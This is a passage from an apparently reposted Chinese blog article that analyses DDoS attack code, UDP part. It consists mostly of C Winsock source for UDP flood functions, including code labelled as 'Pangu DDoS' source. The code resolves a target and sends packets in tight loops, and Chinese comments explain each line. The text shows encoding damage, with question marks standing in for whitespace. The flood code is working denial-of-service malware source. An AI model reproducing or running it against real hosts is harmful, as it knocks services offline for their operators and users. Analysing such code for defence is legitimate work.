???????????????????????????//IP地址不正確返回INADDR_NONE
{???
???struct?hostent?*hp?=?NULL;?//hostent域名轉換成IP
???if?((hp?=?gethostbyname(tgtIP))?!=?NULL)
???????//gethostbyname主機信息?tgtIPIP地址???!=?NULL不等于空
???{
???memcpy(&(addr_in.sin_addr),?hp->h_addr,?hp->h_length);
?????????????????????????????????????????//hp->h_length表示的是主機ip地址的長度
???addr_in.sin_family?=?hp->h_addrtype;
??????????????????????//hp->h_addrtype主機ip地址的類型是ipv4(AF_INET)還是ipv6(AF_INET6)
???}
???else
????return;
}
for?(;;)
{
???if?(StopFlag?==?1)?//StopFlag=?1;?表示沒有在攻擊
???{
????ExitThread(0);
????return;
???}
???for(int?i=0;i<10000;i++)
????sendto(SendSocket,?pSendBuffer,?iTotalSize,?0,?(SOCKADDR?*)&addr_in,?sizeof(addr_in));?//向一指定目的地發送數據
???Sleep(SleepTime);
}
closesocket(SendSocket);?//關閉SOCKET
return;?
}
//=======================================================
盤古DDOS優化版源碼.h
///UDP
void?udpflood()
{
WSAData?wsadata;
WSAStartup(MAKEWORD(2,2),&wsadata);
char?senddata[128];
memset(senddata,'D',sizeof(senddata));?//初始化攻擊內容
int?sendsize=strlen(senddata);?//計算攻擊內容
SOCKADDR_IN?udpaddr;
udpaddr.sin_family=AF_INET;//sin_family?地址家族(必須是AF_INET)
????udpaddr.sin_addr.s_addr=inet_addr(tgtip);//inet_addr將ip地址轉換成網絡地址
????udpaddr.sin_port=htons(tgtport);?//端口
SOCKET?s=socket(AF_INET,SOCK_DGRAM,0);?//這樣做創建的就不是UDP協議了啊
for?(;;)
{
???if(Stop==1)
???{
????ExitThread(0);
????return;
???}
???for(int?a=0;a<10000;a++)
????sendto(s,senddata,sendsize,0,(SOCKADDR?*)&udpaddr,sizeof(udpaddr));?//向一指定目的地發送數據
???Sleep(20);
}
closesocket(s);?//關閉SOCKET
WSACleanup();?//中止Windows?Sockets?DLL的使用?
}
//============================================================
總結
以上是生活随笔為你收集整理的对现有的所能找到的DDOS代码(攻击模块)做出一次分析----UDP篇的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 2_7 FlyweightMode 享元
- 下一篇: 对现有的所能找到个DDOS代码(攻击模块